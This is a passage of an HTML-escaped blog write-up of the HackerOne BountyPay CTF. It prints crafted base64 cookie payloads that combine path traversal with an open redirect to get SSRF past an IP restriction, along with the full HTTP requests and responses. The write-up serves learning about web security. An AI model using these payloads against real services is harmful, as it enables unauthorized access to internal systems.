   &lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;description&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Transactions for 2020-01&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;transactions&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:[]}"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks like it's using &lt;code&gt;api.bountypay.h1ctf.com&lt;/code&gt; to get the information and then it returns a data object with the information - let's remember this and keep going.&lt;/p&gt;

&lt;p&gt;Eventually I looked at the &lt;code&gt;Cookie&lt;/code&gt; values, and with some nudges noticed there was a path traversal in the cookie, which was just &lt;code&gt;base64&lt;/code&gt; json, the account_id probably gets passed to the api call to get the right account - this is when the &lt;code&gt;/redirect?url=&lt;/code&gt; route from &lt;code&gt;api.bountypay.h1ctf.com&lt;/code&gt; came in handy since before we couldn't make any interesting requests because there was a &lt;code&gt;whitelist&lt;/code&gt; - here it's also important to note the &lt;code&gt;software.bountypay.h1ctf.com&lt;/code&gt; subdomain which you can't access because there's an IP restriction(I tried the &lt;code&gt;X-Forward-Host&lt;/code&gt; but it didn't work), taking that into consideration - let's try to make an internal request to that subdomain by using the following &lt;code&gt;base64&lt;/code&gt; encoded payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;decoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;cookie&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"account_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"8FJ3KFISL3/../../../redirect?url=https://software.bountypay.h1ctf.com/BountyPay.apk#"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"hash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"de235bffd23df6995ad4e0930baac1a2In0"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;request&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/statements?month=&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="err"&gt;&amp;amp;year=&lt;/span&gt;&lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Host:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;app.bountypay.h&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;ctf.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Connection:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;close&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Pragma:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;no-cache&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Cache-Control:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;no-cache&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Accept:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;*/*&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;User-Agent:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Mozilla/&lt;/span&gt;&lt;span class="mf"&gt;5.0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;(Macintosh;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Intel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Mac&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;OS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;X&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="err"&gt;_&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="err"&gt;_&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;AppleWebKit/&lt;/span&gt;&lt;span class="mf"&gt;537.36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;(KHTML,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Gecko)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Chrome/&lt;/span&gt;&lt;span class="mf"&gt;83.0&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;4103.61&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Safari/&lt;/span&gt;&lt;span class="mf"&gt;537.36&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;X-Requested-With:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Sec-Fetch-Site:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;same-origin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Sec-Fetch-Mode:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;cors&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Sec-Fetch-Dest:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;empty&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Referer:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;https://app.bountypay.h&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="err"&gt;ctf.com/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Accept-Encoding:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;gzip,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;deflate&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Accept-Language:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;en-US,en;q=&lt;/span&gt;&lt;span class="mf"&gt;0.9&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Cookie:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;token=eyJhY&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;NvdW&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="err"&gt;X&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;lkIjoiRjhnSGlxU&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;RwSy&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;uLi&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;uLi&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="err"&gt;uLi&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;yZWRpcmVjdD&lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="err"&gt;cmw&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;aHR&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;cHM&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="err"&gt;Ly&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="err"&gt;zb&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;Z&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;d&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="err"&gt;FyZS&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="err"&gt;ib&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="err"&gt;VudHlwYXkuaDFjdGYuY&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="err"&gt;tLyMiLCJoYXNoIjoiZGUyMzViZmZkMjNkZjY&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="err"&gt;OTVhZDRlMDkzMGJhYWMxYTIifQ&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;response&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;OK&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Server:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;nginx/&lt;/span&gt;&lt;span class="mf"&gt;1.14&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;(Ubuntu)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Date:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Mon,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Jun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;GMT&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Content-Type:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Connection:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;close&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Content-Length:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1621&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;api.bountypay.h1ctf.com&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;api&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;accounts&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;F8gHiqSdpK&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;..&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;redirect?url=https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;software.bountypay.h1ctf.com&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;#&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;statements?month=04&amp;amp;year=2020"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;html lang=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;en&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;meta charset=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;utf-8&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;meta http-equiv=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;X-UA-Compatible&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; content=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;IE=edge&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;meta name=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;viewport&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; content=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;width=device-width, initial-scale=1&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;title&amp;gt;Software Storage&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;title&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;link href=&lt;/span&gt;&lt;span class="se"&gt;\"\/&lt;/span&gt;&lt;span class="s2"&gt;css&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;bootstrap.min.css&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; rel=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;stylesheet&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;head&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;div class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;container&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;div class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;row&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;        &amp;lt;div class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;col-sm-6 col-sm-offset-3&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;h1 style=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;text-align: center&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;Software Storage&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;h1&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;form method=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;post&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; action=&lt;/span&gt;&lt;span class="se"&gt;\"\/\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                &amp;lt;div class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;panel panel-default&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; style=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;margin-top:50px&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                    &amp;lt;div class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;panel-heading&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;Login&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                    &amp;lt;div class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;panel-body&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                        &amp;lt;div style=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;margin-top:7px&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;lt;label&amp;gt;Username:&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;label&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                        &amp;lt;div&amp;gt;&amp;lt;input name=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;username&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;form-control&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                        &amp;lt;div style=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;margin-top:7px&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;lt;label&amp;gt;Password:&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;label&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                        &amp;lt;div&amp;gt;&amp;lt;input name=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; type=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;form-control&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                    &amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                &amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;                &amp;lt;input type=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;submit&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; class=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;btn btn-success pull-right&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; value=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Login&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;            &amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;form&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;        &amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;    &amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;div&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;script src=&lt;/span&gt;&lt;span class="se"&gt;\"\/&lt;/span&gt;&lt;span class="s2"&gt;js&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;jquery.min.js&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;script&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;script src=&lt;/span&gt;&lt;span class="se"&gt;\"\/&lt;/span&gt;&lt;span class="s2"&gt;js&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;bootstrap.min.js&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;script&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;body&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;html&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;data&lt;/code&gt; json contains the login page for &lt;code&gt;software.bountypay.h1ctf.com&lt;/code&gt; - this means we have a way to make requests inside the network, bypassing the ip restriction aka ssrf :yay: &lt;br&gt;
After some time of thinking what could be there I figure it would have something to download and it made sense, a lot of companies host software on a different subdomain under &lt;code&gt;/downloads, /software&lt;/code&gt; or in this case &lt;code&gt;/uploads&lt;/code&gt; making the correct request yields&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# decoded cookie&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"account_id"&lt;/span&gt;:&lt;span class="s2"&gt;"F8gHiqSdpK/../../../redirect?url=https://software.bountypay.h1ctf.com/uploads#"&lt;/span&gt;,&lt;span class="s2"&gt;"hash"&lt;/span&gt;:&lt;span class="s2"&gt;"de235bffd23df6995ad4e0930baac1a2"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# request&lt;/span&gt;
GET /statements?month&lt;span class="o"&gt;=&lt;/span&gt;04&amp;amp;year&lt;span class="o"&gt;=&lt;/span&gt;2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Accept: &lt;span class="k"&gt;*&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;
